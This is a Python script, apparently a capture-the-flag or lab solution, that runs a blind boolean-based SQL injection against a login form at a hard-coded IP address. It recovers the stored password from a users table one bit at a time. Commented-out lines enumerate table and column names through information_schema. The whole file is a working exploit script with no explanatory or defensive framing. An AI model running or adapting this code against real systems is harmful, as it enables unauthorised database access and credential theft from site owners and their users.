zad1.py

import sys
import requests

url = "http://172.104.131.19/july2017/1.php"


def query(payload):
    data = {
        "login":payload,
        "password":"test"
    }
    r = requests.post(url=url, data=data)

    if(r.text.find("You are logged in") == -1):
        return 1
    else:
        return 0


def queryLetter(payload):
    b = ""
    for i in range(8):
        b += str(query(payload.format(str(i))))
    print(b[::-1])
    return (int(b[::-1], 2))

out = ""
for i in range(1, 100):
    # out += chr(queryLetter("test\' or (1=(ASCII(SUBSTR((select table_name from information_schema.tables  limit 1 offset 41),"+str(i)+", 1)) >> {} & 1));#"))
    out += chr(queryLetter("test\' or (1=(ASCII(SUBSTR((select password from users limit 1 offset 0),"+str(i)+", 1)) >> {} & 1));#"))
    # out += chr(queryLetter("test\' or (1=(ASCII(SUBSTR((select column_name from information_schema.columns where table_name = 'users' limit 1 offset 3),"+str(i)+", 1)) >> {} & 1));#"))
    print(out)